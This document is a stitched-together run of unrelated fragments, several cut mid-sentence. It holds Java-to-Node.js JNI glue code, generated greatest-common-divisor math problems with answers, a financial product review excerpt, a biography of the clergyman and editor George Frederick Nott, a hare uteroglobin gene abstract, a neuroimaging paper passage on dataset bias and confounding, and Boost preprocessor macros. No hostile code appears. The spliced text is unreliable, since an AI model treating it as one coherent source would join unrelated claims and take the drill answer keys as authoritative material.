jint argc = jargv ? jniEnv->GetArrayLength(jargv) : 0;
/* convert jargv to native */
char **argv = new char*[argc + 2];
if(!argv) return -1;
argv[0] = strdup((char *)"node");
if(!argv[0]) { freeNativeArgs(0, argv); return -1; }
if(jargv) {
for(int i = 0; i < argc; i++) {
jstring jarg = (jstring)jniEnv->GetObjectArrayElement(jargv, i);
if(!jarg) { freeNativeArgs(i, argv); return -1; }
char *argCopy = 0;
const char *arg = jniEnv->GetStringUTFChars(jarg, 0);
int argLen = jniEnv->GetStringUTFLength(jarg);
argCopy = new char[argLen + 1];
if(!argCopy) { freeNativeArgs(i, argv); return -1; }
memcpy(argCopy, arg, argLen);
argCopy[argLen] = 0;
jniEnv->ReleaseStringUTFChars(jarg, arg);
argv[i + 1] = argCopy;
}
}
argv[++argc] = 0;
*pargv = argv;
LOGV("getNativeArgs: ret %d\n", argc);
return argc;
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: nodeInit
* Signature: ([Ljava/lang/String;Ljava/lang/String;)V
*/
JNIEXPORT void JNICALL Java_org_meshpoint_anode_RuntimeNative_nodeInit
(JNIEnv *jniEnv, jclass, jobjectArray jargv, jstring jModulePath) {
LOGV("Java_org_meshpoint_anode_RuntimeNative_nodeInit: ent\n");
/* set environment variable to support node modules */
const char *modulePath = jniEnv->GetStringUTFChars(jModulePath, 0);
setenv("NODE_PATH", modulePath, 0);
jniEnv->ReleaseStringUTFChars(jModulePath, modulePath);
modulePath = NULL;
/* process node arguments */
char **argv;
int argc;
if((argc = getNativeArgs(jniEnv, jargv, &argv)) >= 0)
node::Initialize(argc, argv);
LOGV("Java_org_meshpoint_anode_RuntimeNative_nodeInit: ret\n");
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: nodeDispose
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_org_meshpoint_anode_RuntimeNative_nodeDispose
(JNIEnv *, jclass) {
LOGV("Java_org_meshpoint_anode_RuntimeNative_nodeDispose: ent\n");
node::Dispose();
LOGV("Java_org_meshpoint_anode_RuntimeNative_nodeDispose: ret\n");
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: create
* Signature: ()J
*/
JNIEXPORT jlong JNICALL Java_org_meshpoint_anode_RuntimeNative_create
(JNIEnv *, jclass) {
LOGV("Java_org_meshpoint_anode_RuntimeNative_create ent\n");
jlong result = (jlong)node::Isolate::New();
LOGV("Java_org_meshpoint_anode_RuntimeNative_create ret\n");
return result;
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: start
* Signature: (J[Ljava/lang/String;)I
*/
JNIEXPORT jint JNICALL Java_org_meshpoint_anode_RuntimeNative_start
(JNIEnv *jniEnv, jclass, jlong handle, jobjectArray jargv) {
LOGV("Java_org_meshpoint_anode_RuntimeNative_start: ent\n");
node::Isolate *isolate = reinterpret_cast<node::Isolate *>(handle);
char **argv;
int argc;
if((argc = getNativeArgs(jniEnv, jargv, &argv)) >= 0) {
int result = isolate->Start(argc, argv);
freeNativeArgs(argc, argv);
argc = result;
}
LOGV("Java_org_meshpoint_anode_RuntimeNative_start: ret %d\n", argc);
return argc;
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: stop
* Signature: (JI)I
*/
JNIEXPORT jint JNICALL Java_org_meshpoint_anode_RuntimeNative_stop
(JNIEnv *, jclass, jlong handle, jint signum) {
node::Isolate *isolate = reinterpret_cast<node::Isolate *>(handle);
LOGV("Java_org_meshpoint_anode_RuntimeNative_stop: ent\n");
int result = isolate->Stop(signum);
LOGV("Java_org_meshpoint_anode_RuntimeNative_stop: ret %d\n", result);
return result;
}
/*
* Class: org_meshpoint_anode_RuntimeNative
* Method: isolateDispose
* Signature: (J)V
*/
JNIEXPORT void JNICALL Java_org_meshpoint_anode_RuntimeNative_isolateDispose
(JNIEnv *, jclass, jlong handle) {
node::Isolate *isolate = reinterpret_cast<node::Isolate *>(handle);
LOGV("Java_org_meshpoint_anode_RuntimeNative_isolateDispose: ent\n");
isolate->Dispose();
LOGV("Java_org_meshpoint_anode_RuntimeNative_isolateDispose: ret\n");
}
Utterance format affects phonological priming in the picture-word task: implications for models of phonological encoding in speech production.
Picture-word experiments investigating the production of multiword utterances with distractors that are |
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9
] | g. Let w(k) = -k**3 + 7*k**2 - k + 2. Let o be w(7). Let y be a(o). What is the highest common divisor of y and s?
15
Let p(x) = -201*x - 1. Let j be p(-2). Let d = -269 + j. What is the highest common divisor of 12 and d?
12
Let o(z) = z**3 - 10*z**2 + z + 7. Suppose 55 = 5*c - t, -4*c = -3*c + 4*t + 10. Let i be o(c). What is the greatest common factor of i and 34?
17
Suppose -4*z + z = 3*u + 27, -5*z - 43 = 4*u. Let x be (z - (1 - -1))*-4. Suppose 5*o = -5, -d = -5*d + 2*o + 18. What is the highest common factor of x and d?
4
Let o be 3*(2 + (-2 - 1)). Let g(y) = -y**2 - 6*y - 4. Let q be g(o). Suppose -q*d + 4*d = -24. Calculate the highest common factor of 60 and d.
12
Let i = 117 + -99. What is the highest common divisor of 18 and i?
18
Let u be 309/(-15) + 6/(-15). Let k = 46 + u. What is the greatest common factor of 100 and k?
25
Let i(d) = 3*d - 12. Let p be i(8). Calculate the highest common divisor of 12 and p.
12
Suppose -1828 = -4*j + 5*l, -3*j - l - l + 1394 = 0. Suppose 0 = 4*u - v - 364, -u - j = -6*u + 3*v. What is the highest common divisor of u and 18?
18
Suppose 3*h - 10 = -a, h - 20 = 4*a - 8. Calculate the highest common factor of 16 and h.
4
Let g = 7 - 4. Suppose 2*c - 3*c + 3 = -z, -g*z - 13 = -5*c. Suppose 5*p - 638 = c. What is the greatest common divisor of p and 16?
16
Let b be 5 - 1 - 21/(-3). What is the greatest common divisor of 121 and b?
11
Suppose -5*q + 43 = 2*d, 0 = -q - 3*d + 7*d - 9. Suppose p - 12 = 3*v, 2*v = p + q*v - 28. What is the highest common factor of p and 54?
18
Suppose -4*i = i. Suppose -h + 2 + 1 = i. What is the highest common factor of 2 and h?
1
Let h = 61 + -38. Suppose 0 = 4*t + h + 85. Let v be (-212)/(-18) - 6/t. What is the greatest common factor of v and 12?
12
Suppose 53 + 37 = 3*a. What is the greatest common divisor of a and 12?
6
Let h = -16 + 31. Let v = 21 - h. Calculate the highest common factor of 6 and v.
6
Let r(n) = 4*n**2 - 25*n + 4. Let s be r(7). What is the greatest common divisor of s and 100?
25
Let m(y) = y**2 - 4*y - 22. Let d be m(-4). What is the greatest common factor of d and 2?
2
Suppose -3 + 1 = 2*d + 4*c, d - 4 = -c. Calculate the greatest common factor of 27 and d.
9
Let y be (-8 - -2)/((-6)/(-4)). Let p be 1 + 10 + y + 4. Calculate the highest common factor of p and 121.
11
Let w = 27 + 1. Suppose 0 = 3*p - 35 - w. Let g = 32 + 52. What is the greatest common divisor of p and g?
21
Let q be ((-1)/(-3))/(1/3). Let s = 54 + -51. What is the highest common divisor of s and q?
1
Let v = 37 + -20. Suppose 0*p - 4*p = -16. Let i be (1 - -1)/(p/34). What is the highest common divisor of v and i?
17
Let z = -16 + 61. What is the greatest common factor of 15 and z?
15
Let l = -76 - -84. Calculate the highest common factor of l and 1.
1
Suppose 2*r + 4*m = 23 + 1, 0 = -2*r + 5*m - 12. What is the greatest common factor of 44 and r?
4
Suppose -6*h + 3*h - 15 = 0, 5*y - 115 = -3*h. What is the greatest common factor of 39 and y?
13
Suppose 0*o - o = -4. Suppose 2*n + 24 = 2*g + 6*n, -o*n - 24 = -4*g. Calculate the highest common divisor of g and 12.
4
Let m(w) = 6*w - 24. Let y be m(10). What is the highest common divisor of 4 and y?
4
Suppose 0 = 5*l - 13 + 108. Let c = -2 - l. Calculate the highest common factor of c and 85.
17
Let y(l) = -8*l - 4. Let c be y(-1). What is the greatest common divisor of 56 and c?
4
Suppose 5*u - 4*u - 34 = 0. Suppose -3*v - 5*o = -u, -4*o + 7*o + 2 = v. Suppose -3*h = -6*h + 3. Calculate the highest common factor of h and v.
1
Let b(t) = t**2 + 3*t + 5. Let o be b(-2). What is the greatest common factor of 1 and o?
1
Let c(m) = m**2 - 6*m + 14. Let p be c(14). Calculate the greatest common divisor of 18 and p.
18
Let u be 70*((-6)/2)/(-6). Let q = u - 21. Let j = -133 - -231. What is the greatest common factor of j and q?
14
Let s(w) = -5*w - 4. Suppose 2*z + 2*z = 12. Suppose b - z*b = 16. Let m be s(b). Calculate the greatest common factor of 9 and m.
9
Suppose -3*n = -2*f - 2*f + 4, -f = n - 8. Suppose 5*t - 16 = -4*w + 126, -37 = -2*t + 5*w. Let r = t - 6. What is the highest common divisor of r and f?
4
Let k(m) = m**3 - m**2 - m. Let v be k(0). Suppose h - 20 = 4*q, -2*h + 36 = -4*q - v*q. Let i be 18/(-3)*(-4)/3. What is the highest common factor of h and i?
8
Let m(r) = -r**2 - 6*r - 6. Suppose 5*n - 2*w + 28 = -6*w, 5*w = -10. Let q be m(n). Let f = q + 1. What is the highest common divisor of f and 3?
3
Let v = 5 + 1. Suppose -v*m = -9*m + 36. Calculate the highest common divisor of 8 and m.
4
Suppose 3*x = 3*b - 9, 0*b = b - 2. Let d = x + 4. Suppose -2*c = -3*g + 318, d*g + 4*c - 171 = 165. Calculate the highest common factor of 12 and g.
12
Suppose -19*y + 21*y = 120. Calculate the highest common factor of y and 24.
12
Suppose 302 - 32 = 9*k. What is the greatest common divisor of k and 210?
30
Let g(z) = -12*z + 13 - 30 - 3*z**2 + 2*z**2. Let l be g(-8). What is the greatest common factor of 30 and l?
15
Let u be -30*((-12)/(-5))/(-6). Suppose 20 = -8*d + u*d. Suppose -2*c = r - 48 - 31, -4*c = -4*r - 164. Calculate the greatest common divisor of d and c.
5
Let f(h) = 4*h + 10. Let x be f(-7). Let d = -11 - x. What is the greatest common divisor of 35 and d?
7
Let y(u) = u. Let h be y( |
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] | eration of initial 3 per cent is viewed by Jackson as in line with the market, but he points to the lack of renewal commission.
Discussing the potential drawbacks of the product, Jackson says: “ It is obvious from the title of the product that there is no income option, so it is only suitable for those investors looking for growth.”
He points out that there are plenty of other products on the market where the return is linked to the FTSE 100, but the Barclays offering is the only one that offers a lock-in feature.
Jackson concludes: “It is more or less certain that the literature was prepared well in advance of the FSA Review of Structured Products, but it seems as though the product provider has got it right. If it had not, its compliance department would have pulled the product. I cannot see the FSA levying any criticism at this particular product in terms of literature. Of course, however good the literature is, it is still up to the adviser to make sure that it meets the client’s requirements in all respects and that the client fully understands the product including the risk as to capital.”
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Suitability to market: Good Investment strategy: Good Adviser remuneration: Good Overall 9/10
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Independent governance committees at big-name pension providers are failing to safeguard the interests of savers and the FCA must take action, fresh research finds. In 2015, the FCA required contract-based pension providers to appoint IGCs to act as champions of savers’ interests. IGCs are required to publish annual reports to increase transparency and encourage comparison […]
The FCA is reviewing the content of its pension transfer specialist examination standard in light of recent issues with pension transfer advice, Money Marketing understands. The regulator does not offer qualifications but it does have a role in setting standards for exams and publishes “appropriate examination standards” guidance. Money Marketing understands a working group, mostly […]
Building on auto-enrolment’s success and fine tuning the pensions dashboard are high on the list As I write my first Money Marketing column of the year, it has given me an opportunity to look back on what the Government has done to transform pensions and savings for people since 2010. Five years on from the […]George Frederick Nott
George Frederick Nott (1767–1841) was an English author and a Church of England clergyman.
Life
He was the nephew of John Nott. His father, Samuel Nott (1740–1793), M.A. from Worcester College, Oxford, in 1764, was appointed prebendary of Winchester (1770), rector of Houghton, Hampshire (1776), vicar of Blandford, Dorset, and chaplain to the king. His mother, Augusta (died 1813), was daughter of Pennell Hawkins, serjeant-surgeon to the king, and niece of Sir Cæsar Hawkins.
George matriculated at Christ Church, Oxford, on 30 October 1784, aged seventeen. Graduating B.A. in 1788, he was elected a Fellow of All Souls College, took holy orders, and proceeded M.A. in 1792 (B.D. in 1802, and D.D. in 1807). In 1801 he was proctor in the university, and in 1802 he preached the Bampton lectures, his subject being ‘Religious Enthusiasm.’ The success of these sermons, published in 1803, brought him to the notice of the king, who appointed him sub-preceptor to Princess Charlotte of Wales.
Much clerical preferment followed. He became prebendary of Colworth, Chichester, in 1802; perpetual curate of Stoke Canon, Devon, in 1807; vicar of Broadwinsor, Dorset, in 1808; fourth prebendary of Winchester in 1810; rector of Harrietsham and Woodchurch (in exchange for Broadwinsor) in 1813, and prebendary of Salisbury in 1814. He spent on restoring the rectory-houses and in building schools in the parishes over which he presided. As prebendary of Winchester, he superintended the repairs of the Winchester Cathedral. On 6 January 1817, while engaged on this work, he fell a distance of thirty feet, and sustained severe injuries to the head, from which he never wholly recovered.
Subsequently he spent much time in Italy, and at Rome purchased many pictures by contemporary artists. He wrote Italian with ease and accuracy. In 1825 he succeeded to the property of his uncle John. He died at his house in the Close at Winchester on 25 October 1841. The sale of his library, consisting of 12,500 volumes and many prints and pictures, took place at Winchester, and lasted thirteen days (11–25 January 1842). Nott's coins, gems, and bronzes were then sold in April in London.
Works
Nott, like his uncle, devoted much time to the study of sixteenth-century literature, and produced an exhaustive edition of the ‘Works of Henry Howard, earl of Surrey, and of Sir Thomas Wyatt the elder’ (1815–16, in two large 4to vols.) While working on what he intended as a new edition of Tottels Miscellany, Nott discovered Wyatt's own album of poems, partly autograph, the Egerton Manuscript, and also the Arundel-Harington Manuscript, an intermediate source of Tottels, in the library of John Harington, and also the Devonshire Manuscript, a manuscript anthology by many hands contemporary with the poet, a source for 16 more poems by Wyatt (as well as numerous misattributions by modern editors). Nott was the first editor of Wyatt's poems from manuscript (as contrasted with the defective texts in Tottels) and of Surrey's, which he found in the Arundel-Harington Manuscript. Highly skilled as a textual editor due to his training in classical philology, Nott did an excellent job of producing the editiones principes of these two authors. Later editors have improved their texts in minor respects, but modern editors (notably Muir and Rebholz) have badly marred their editions of Wyatt by including over 100 poems which are not Wyatt's. Nott's edition is still an important source for the texts of both poets. His biographies of Henry Howard, Earl of Surrey and his son Henry Howard, 1st Earl of Northampton supply recondite information. Nott unwarrantably assumed that nearly all Surrey's poems were addressed to the Lady Geraldine (Elizabeth Grey, Countess of Kildare), and gave each a fanciful title based on that assumption.
Besides the Bampton lectures and an occasional sermon, Nott also published some translations into Italian, and edited some Italian books. His Italian version of the English Book of Common Prayer (‘Libro delle Preghiere Communi’) appeared in 1831. In 1832 he printed at Florence for the first time, with Italian introduction and notes, ‘Fortunatus Siculus ossia l'Avventuroso Ciciliano di Busone da Gubbio: romanzo storico scritto nel MCCCXI.’
References
Attribution
Category:1767 births
Category:1841 deaths
Category:19th-century English Anglican priests
Category:Fellows of All Souls College, OxfordEstrogen-regulated transcription of the uteroglobin gene from the brown hare (Lepus capensis).
To get further insights on the estrogen regulation of the uteroglobin (UG) gene, the 5'-flanking region of the UG gene from the brown hare (Lepus capensis) (Lc) was cloned and compared with those from two phylogenetically related species: the rabbit (Orictolagus cuniculus) (Oc) and the volcano rabbit (Romerolagus diazi) (Rd). The Lc-UG gene is very similar to those from rabbits (94%) and volcano rabbits (95%), and shares a number of genetic elements, including an estrogen response element (ERE). The estrogen-regulated transcription of a series of progressive 5'-deletion mutants of the Lc-UG gene, identified a functional ERE in the promoter region exhibiting the same orientation and relative position than that previously described in rabbits. The Lc-ERE is identical to the Oc-ERE, but different from both the Rd-ERE and the consensus ERE (c-ERE) by one nucleotide |
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] | the bias can be attributed to the different goals of the studies, like the inclusion of subjects from different age groups. However, even when focusing on datasets that cover a similar age range, we observe a high accuracy, e.g., ABIDE I and II. While we are not aware of previous attempts to *Name That Dataset*, our results echo concerns raised in previous studies. In an ENIGMA study with over 15,000 subjects on brain asymmetry [@guadalupe2017human], it was reported that dataset heterogeneity explained over 10% of the total observed variance per structure. In ADNI, which has an optimized MPRAGE imaging protocol across all sites [@jack2008alzheimer], the intra-subject variability of compartment volumes for scans on different scanners was roughly 10 times higher than repeated scans on the same scanner [@kruggel2010impact]. Similarly, [@wachinger2016domain] reported a drop in accuracy for Alzheimer’s disease prediction when training and testing on different datasets.
Telling Causal from Confounded with Causal Inference {#sec:causal}
====================================================
![Probabilistic graphical models for observed variables $\bbX$, $Y$ and unobserved confounders $\bbZ$. The statistical relationship between $\bbX$ and $Y$ is due to confounder $\bbZ$ and due to the influence of $\bbX$ on $Y$ (left). Limiting cases are pure confounding (middle) and pure causality (right). \[fig:causalDiag\] ](Causal_diag.pdf){width="48.00000%"}
In the previous section, we have established that there is correlation between a feature vector $\bby$, derived from MRI scans, and the dataset $D$ the scan belongs to, by estimating the probability $P(D=d\,|\,Y=\bby)$ via a random forest classifier. While this has yielded useful insights, it only provides a measure of statistical dependence, which alone is insufficient to determine causal structures of confounding bias.
Confounding Bias in Causal Inference
------------------------------------
Here, we want to study bias in a more principal manner by looking at confounding bias in a causal inference framework. Generally, it is challenging to infer cause and effect from observational data, as this normally requires randomized controlled trials [@Pearl2000]. The problem is that it is difficult to determine whether a variable $X$ causes $Y$ or whether both variables have a common cause $Z$. If $X$ and $Y$ share the cause $Z$, then confounding is present and $Z$ is referred to as confounder, as illustrated in Fig. \[fig:causalDiag\]. Because there is an open backdoor path between $X$ and $Y$, it is unclear if an association between $X$ and $Y$ results from the causal effect $X \rightarrow Y$ or from the path with the common cause $X \leftarrow Z \rightarrow Y$. The extreme cases would be the purely causal setting without confounding $X \rightarrow Y$, illustrated in Fig. \[fig:causalDiag\] (right) and the purely confounded setting, where the correlation between $X$ and $Y$ is entirely due to common cause $Z$, illustrated in Fig. \[fig:causalDiag\] (middle).
For inferring causality, one of the core assumptions is *causal sufficiency*, i.e., we know all potential confounders. This assumption is often violated in practice, since we do not know all potentially relevant factors nor do we have data on them, yielding spurious inferences. Even if they would be known, they would not be available in all publicly available neuroimaging datasets. Consequently, we consider a recently proposed approach for causal inference by [@kaltenpoth2019we] that assumes an *unobserved* confounding variable. The method explicitly models the hidden confounder with probabilistic PCA, which allows comparing the causal $X \rightarrow Y$ and confounded model $X \leftarrow Z \rightarrow Y$ to conclude whether the relationship is causal or confounded. Next, we will present the details of the approach.
Assumptions for Inferring Causality with Unknown Confounders
------------------------------------------------------------
We consider samples from the joint distribution $P(X,Y)$ over two statistically dependent continuous-valued random variables, where $X$ can be multivariate and $Y$ is univariate. The aim is to determine whether it is more likely that $X$ causes $Y$, or that there exists an unobserved random variable $Z$ that is the cause of both $X$ and $Y$. Inferring causal relations from observational data is only attainable under specific model assumptions. A general assumption in causal inference is that the data distribution can be represented as a causal directed acyclic graph that satisfies the Markov factorization property: conditioned on its parents (direct causes), each variable is independent of its nondescendants [@Pearl2000]. In addition, faithfulness and the previously mentioned assumption of causal sufficiency are required. Faithfulness implies that if $X$ is independent of $Y$, there is no direct influence between the two in the underlying graph [@Pearl2000]. While faithfulness is a strong condition, it is generally reasonable. Establishing causal sufficiency is more problematic in practice. Our approach incorporates the algorithmic Markov condition (AMC) [@janzing2010causal], which states that if $X$ causes $Y$, the factorization of the joint distribution $P(X,Y)$ in the true causal direction has a lower Kolmogorov complexity than in the anti-causal direction. Together with causal sufficiency, this allows to identify the true causal network as the least complex one. Although the AMC generally relies on causal sufficiency, [@kaltenpoth2019we] proposed to integrate the confounder as a latent variable $Z$. This approach allows for computing whether confounding is present, without explicitly knowing the confounder or having data on it, which is very relevant in practice.
A remaining challenge for estimating the AMC is the evaluation of the Kolmogorov complexity as it is not directly computable. To this end, the minimum description length (MDL) principle provides a statistically well-founded approach to approximate Kolmogorov complexity [@grunwald2007minimum]. Considering model class $\mM$ and a fully Bayesian formulation, the code length function $L$ is computed as $$L(X | \mM) = - \log \int_{M \in \mM} P(X | M) \mathrm{d} P(M),$$ where $P(M)$ is a prior on the model class $\mM$.
Causal and Confounded Models
----------------------------
Now that we established the theoretical foundation of our work, we need to define two factorizations of $P(X, Y)$ – one for the causal and one for the confounded scenario – to decide whether the relationship between $X$ and $Y$ is indeed causal or not. Figure \[fig:causalDiag\] illustrates the two factorizations we consider here:
1. causal: $P(X, Y) = P(Y|X) P(X|Z) P(Z)$, which is represented by a linear regression model,
2. confounded: $P(X, Y) = P(Y|Z) P(X|Z) P(Z)$, which is estimated by probabilistic PCA [@Tipping1999].
To emphasize that $X$ and $Z$ can be multivariate, we continue with $\bbX$ and $\bbZ$. The complexity under the causal model can be estimated by minimum description length $L_{\text{ca}}(\bbX, Y)$ via $$\begin{split} \label{eq:complexity_causal} L_{\text{ca}}(\bbX, Y) &= - \log P(\bbX) \int P(Y | \bbX, \bbw) P(\bbw) \mathrm{d} \bbw , \\
X_i &\sim \mN(0, \sigma_x^2I), \\
\bbw &\sim \mN(0,\sigma_w^2I), \\
Y | \bbX, \bbw &\sim \mN(\bbw^\top \bbX,\sigma_y^2I) .
\end{split}$$ The complexity of the confounded model is estimated by $$\begin{split} \label{eq:complexity_confounded} L_{\text{co}}(\bbX,Y) &= \\ - &\log \int P(\bbX,Y | \bbZ, \bbW) P(\bbZ) P(\bbW) \mathrm{d} \bbW \mathrm{d} \bbZ, \\
Z_i &\sim \mN(0, \sigma_z^2I), \\
W_i &\sim \mN(0,\sigma_w^2I), \\
\bbX | \bbZ, \bbW &\sim \mN(\bbW^\top \bbZ,\sigma_x^2I) ,
\end{split}$$ where the confounders $\bbZ$ and the principal axes $\bbW$ are estimated using probabilistic PCA [@Tipping1999].
Note that we do not require that the confounders are known or measured; since we marginalize over $\bbZ$, we only need to specify its dimensionality $k$. To compare the causal ($\bbX \rightarrow Y$) and the confounded model ($\bbX \leftarrow \bbZ \rightarrow Y$), we compute $$\Delta(\bbX, Y) = L_{\text{co}}(\bbX, |
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] | _IIF(c, FB_BOOST_PP_FOR_233, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(233, s), p, o, m)
# define FB_BOOST_PP_FOR_233_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(234, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_234, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(234, s), p, o, m)
# define FB_BOOST_PP_FOR_234_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(235, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_235, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(235, s), p, o, m)
# define FB_BOOST_PP_FOR_235_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(236, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_236, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(236, s), p, o, m)
# define FB_BOOST_PP_FOR_236_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(237, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_237, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(237, s), p, o, m)
# define FB_BOOST_PP_FOR_237_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(238, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_238, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(238, s), p, o, m)
# define FB_BOOST_PP_FOR_238_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(239, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_239, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(239, s), p, o, m)
# define FB_BOOST_PP_FOR_239_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(240, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_240, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(240, s), p, o, m)
# define FB_BOOST_PP_FOR_240_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(241, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_241, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(241, s), p, o, m)
# define FB_BOOST_PP_FOR_241_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(242, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_242, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(242, s), p, o, m)
# define FB_BOOST_PP_FOR_242_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(243, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_243, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(243, s), p, o, m)
# define FB_BOOST_PP_FOR_243_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(244, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_244, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(244, s), p, o, m)
# define FB_BOOST_PP_FOR_244_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(245, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_245, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(245, s), p, o, m)
# define FB_BOOST_PP_FOR_245_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(246, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_246, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(246, s), p, o, m)
# define FB_BOOST_PP_FOR_246_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(247, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_247, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(247, s), p, o, m)
# define FB_BOOST_PP_FOR_247_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(248, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_248, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(248, s), p, o, m)
# define FB_BOOST_PP_FOR_248_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(249, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_249, FB_BOOST_PP_TUPLE_EAT_4)(FB_BOOST_PP_EXPR_IIF(c, o)(249, s), p, o, m)
# define FB_BOOST_PP_FOR_249_C(c, s, p, o, m) FB_BOOST_PP_IIF(c, m, FB_BOOST_PP_TUPLE_EAT_2)(250, s) FB_BOOST_PP_IIF(c, FB_BOOST_PP_FOR_250, FB_BOOST_PP_TUPLE_ |
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